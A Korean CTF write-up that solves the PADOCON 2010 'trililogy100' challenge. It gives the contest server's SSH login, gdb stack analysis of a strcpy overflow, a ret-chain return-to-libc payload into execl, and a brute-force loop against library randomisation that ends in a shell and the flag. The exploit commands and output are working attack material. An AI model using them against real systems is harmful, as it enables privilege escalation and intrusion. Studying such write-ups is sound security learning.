PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다.
Subject : trililogy100
Type : exploitme
Examiner : padocon
Point : 400
sshd server ip : 168.188.130.217
id : tril100
pw : 0x170x17
먼저 문제 서버의 환경을 확인 합니다.
[tril100@cnuhansa ~]$ python -c "import os ; print os.uname()"
('Linux', 'cnuhansa.cnu.ac.kr', '2.6.31.12-174.2.3.fc12.i686.PAE', '#1 SMP Mon Jan 18 20:06:44 UTC 2010', 'i686')
[tril100@cnuhansa ~]$ cat /etc/fedora-release
Fedora release 12 (Constantine)
[tril100@cnuhansa ~]$ sysctl -a | grep random
error: permission denied on key 'kernel.cad_pid'
kernel.random.poolsize = 4096
kernel.random.entropy_avail = 164
kernel.random.read_wakeup_threshold = 64
kernel.random.write_wakeup_threshold = 128
kernel.random.boot_id = 37e7d57c-3883-4544-81b3-79596828f79f
kernel.random.uuid = 11ed57f4-c2d8-429c-bc61-bcae22aae85a
kernel.randomize_va_space = 2
[tril100@cnuhansa ~]$ sysctl -a | grep exec
error: permission denied on key 'kernel.cad_pid'
kernel.exec-shield = 1
[tril100@cnuhansa ~]$
OS : Fedora core 12
랜덤 스택&라이브러리 : X
비실행스택 : O
문제 코드는 아래와 같습니다.
#include <stdio.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
char buf[4];
strcpy( buf, argv[1] );
return 0;
}
이전 문제가 별로 다를게 없어 보이는 문제 입니다. 하지만 아래와 같이 랜덤 라이브러리 인것을 확인할 수 있습니다.
[tril100@cnuhansa ~]$ cd tmp
[tril100@cnuhansa tmp]$ mkdir byjjoon
[tril100@cnuhansa tmp]$ cd byjjoon
[tril100@cnuhansa byjjoon]$ cp ../../exploitme ./
[tril100@cnuhansa byjjoon]$ gdb -q exploitme
Reading symbols from /home/tril100/tmp/byjjoon/exploitme...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483ca
(gdb) r
Starting program: /home/tril100/tmp/byjjoon/exploitme
Breakpoint 1, 0x080483ca in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686
(gdb) x/x execl
0xacd330 <execl>: 0x53565755
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tril100/tmp/byjjoon/exploitme
Breakpoint 1, 0x080483ca in main ()
(gdb) x/x execl
0xbbd330 <execl>: 0x53565755
(gdb)
랜덤하지만 계속 돌리다 보면 맞아떨어지는 주소가 나올거라 생각하고 계속 진행하도록 하겠습니다.
execl() 함수의 주소는 일단 0x00acd330 으로 공격을 하도록 하고 나머지 argv랑 ret 주소를 확인해 보도록 하겠습니다.
[tril100@cnuhansa byjjoon]$ gdb -q exploitme
Reading symbols from /home/tril100/tmp/byjjoon/exploitme...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0xc,%esp
0x080483ca <main+6>: mov 0xc(%ebp),%eax
0x080483cd <main+9>: add $0x4,%eax
0x080483d0 <main+12>: mov (%eax),%eax
0x080483d2 <main+14>: mov %eax,0x4(%esp)
0x080483d6 <main+18>: lea -0x4(%ebp),%eax
0x080483d9 <main+21>: mov %eax,(%esp)
0x080483dc <main+24>: call 0x80482f4 <strcpy@plt>
0x080483e1 <main+29>: mov $0x0,%eax
0x080483e6 <main+34>: leave
0x080483e7 <main+35>: ret
End of assembler dump.
(gdb) b *main+29
Breakpoint 1 at 0x80483e1
(gdb) r AAAABBBBCCCC
Starting program: /home/tril100/tmp/byjjoon/exploitme AAAABBBBCCCC
Breakpoint 1, 0x080483e1 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686
(gdb) x/32wx $ebp
0xbffff698: 0x42424242 0x43434343 0x00000000 0xbffff744
0xbffff6a8: 0xbffff750 0xb7fff3d0 0x08048310 0xffffffff
0xbffff6b8: 0x007dafc4 0x0804822c 0x00000001 0xbffff700
0xbffff6c8: 0x007ca365 0x007dba98 0xb7fff6a8 0x00addff4
0xbffff6d8: 0x00000000 0x00000000 0xbffff718 0x11c6948b
0xbffff6e8: 0xde5d23f5 0x00000000 0x00000000 0x00000000
0xbffff6f8: 0x00000002 0x08048310 0x00000000 0x007d0630
0xbffff708: 0x00983adb 0x007dafc4 0x00000002 0x08048310
(gdb) x/32wx 0xbffff744
0xbffff744: 0xbffff878 0xbffff89c 0x00000000 0xbffff8a9
0xbffff754: 0xbffff8c5 0xbffff8dd 0xbffff8ed 0xbffff8f8
0xbffff764: 0xbffff906 0xbffff926 0xbffff941 0xbffff954
0xbffff774: 0xbffff961 0xbffffe60 0xbffffe6c 0xbffffeae
0xbffff784: 0xbffffecb 0xbffffeda 0xbffffef8 0xbfffff09
0xbffff794: 0xbfffff22 0xbfffff2b 0xbfffff42 0xbfffff55
0xbffff7a4: 0xbfffff5d 0xbfffff6d 0xbfffffa1 0xbfffffc3
0xbffff7b4: 0x00000000 0x00000020 0x0074a414 0x00000021
(gdb) x/s 0xbffff878
0xbffff878: "/home/tril100/tmp/byjjoon/exploitme"
(gdb) x/s 0xbffff89c
0xbffff89c: "AAAABBBBCCCC"
(gdb) x/32wx $esp
0xbffff68c: 0xbffff694 0xbffff89c 0x41414141 0x42424242
0xbffff69c: 0x43434343 0x00000000 0xbffff744 0xbffff750
0xbffff6ac: 0xb7fff3d0 0x08048310 0xffffffff 0x007dafc4
0xbffff6bc: 0x0804822c 0x00000001 0xbffff700 0x007ca365
0xbffff6cc: 0x007dba98 0xb7fff6a8 0x00addff4 0x00000000
0xbffff6dc: 0x00000000 0xbffff718 0x11c6948b 0xde5d23f5
0xbffff6ec: 0x00000000 0x00000000 0x00000000 0x00000002
0xbffff6fc: 0x08048310 0x00000000 0x007d0630 0x00983adb
(gdb)
ret의 주소는 0x080483e7 이고 argv의 주소는 0xbffff744 이군요. 이제 ret를 몇개 넣어야 execl() 함수에 도달할 수 있는지 계산해 보도록 하겠습니다.
[tril100@cnuhansa byjjoon]$ python -c "print (0xbffff744-0xbffff69c)/4"
42
[tril100@cnuhansa byjjoon]$
42개의 ret가 필요합니다. 이제 인자로 줄 코드를 작성하도록 하겠습니다.
[tril100@cnuhansa byjjoon]$ cat > shell.c
int main()
{
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execl("/bin/sh", "sh", 0);
}
[tril100@cnuhansa byjjoon]$ gcc -o shell shell.c
shell.c: In function ‘main’:
shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’
[tril100@cnuhansa byjjoon]$
이제 공격을 해보도록 하겠습니다. 공격코드는 다음과 같습니다.
[AAAABBBB] + [RET * 42] + [execl()] + [인자1] + [인자2]
다만 위 공격코드를 execl() 함수의 주소가 맞을때 까지 쉘스크립트를 이용하여 루프를 돌리도록 하겠습니다.
[tril100@cnuhansa byjjoon]$ while(true) ; do ../../exploitme `python -c "print 'AAAABBBB' + '\xe7\x83\x04\x08'*42 + '\x30\xd3\xac\x00' + ' ./shell' + ' ./shell'"` ; done
세그멘테이션 오류
세그멘테이션 오류
.
.
[중략]
.
.
세그멘테이션 오류
세그멘테이션 오류
sh-4.0$ id
uid=506(tril100) gid=503(boom100) groups=506(tril100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.0$ cat ../../../boom100/key
isItSoS1lly?
sh-4.0$